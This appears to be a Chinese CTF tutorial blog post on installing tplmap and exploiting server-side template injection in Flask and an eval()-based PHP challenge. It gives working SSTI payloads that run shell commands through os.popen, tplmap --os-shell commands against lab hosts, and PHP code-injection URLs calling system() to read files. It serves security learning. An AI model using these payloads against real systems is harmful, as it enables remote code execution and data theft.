tplmap的安装和简单使用
## 1 tplmap的安装和使用
tpl是用python2编写的,报错一般是使用py3
==kali下安装tplmap 可以参考一下这篇博文 https://www.cnblogs.com/ktsm/p/15691652.html ==
以下操作均在centos7的环境下操作,debian ubuntu适用
1.1 使用git克隆tplmap
git clone https://github.com/epinna/tplmap
cd tplmap
sudo yum install python-pip -y||sudo apt install python-pip #安装py2的pip
pip install -r requirements.txt
1.2 操作实例
#探测注入点
./tplmap.py -u 'http://114.67.246.176:17787/?flag'
#获取shell
./tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell
1.3 详细命令
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
2. python flask框架模板注入
2.1 手动注入
查看根目录(ctf简单的题目flag一般在根目录)
http://114.67.246.176:17130/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
网页明文显示
一般的linux根目录如下
显然app是用户新增的目录, 接下来进入它, 看能不能找到flag
http://114.67.246.176:17130/?flag={{ config.class.init.globals['os'].popen('cd app&& ls').read() }}
运气不错, 直接爆出来了flag
http://114.67.246.176:17130/?flag={{ config.class.init.globals['os'].popen('cat flag').read() }}
http://114.67.175.224:16538/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
flag就不贴了, 大家自己尝试一下吧.
2.2 自动注入
直接使用上面介绍的tplmap进行自动注入!!!
./tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell
3. php应用实例
extract()
解析传入的值
extract($_GET);
extract($_POST);
error_reporting() 函数
<?php
// 关闭错误报告
error_reporting(0);
// 报告 runtime 错误
error_reporting(E_ERROR | E_WARNING | E_PARSE);
// 报告所有错误
error_reporting(E_ALL);
// 等同 error_reporting(E_ALL);
ini_set("error_reporting", E_ALL);
// 报告 E_NOTICE 之外的所有错误
error_reporting(E_ALL & ~E_NOTICE);
?>
题目
<?php
highlight_file('index.php');
extract($_GET);
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}
String2Array($attrstr);
解法
构造url进行注入获取权限
?attrid[0]=1&attrvalue[0]=1&attrstr=phpinfo();
丢进tplmap获取shell权限
cd ~/tplmap/tplmap
python tplmap -u "http://dd99644f-c8ac-4214-9d37-0699eea59b19.node4.buuoj.cn:81/" --os-shell
原理
eval函数会执行php函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
system函数
注意,system()会将shell命令执行之后,立马显示结果,这一点会比较不方便,因为我们有时候不需要结果立马输出,甚至不需要输出,于是可以用到exec()
所以执行以下url
cf307529-9fc9-409e-a14b-7a4c0d2d8a3d.node4.buuoj.cn:81/?attrid[0]=1&attrvalue[0]=1&attrstr=system(%27cat%20//etc/timezone%27);
得到flag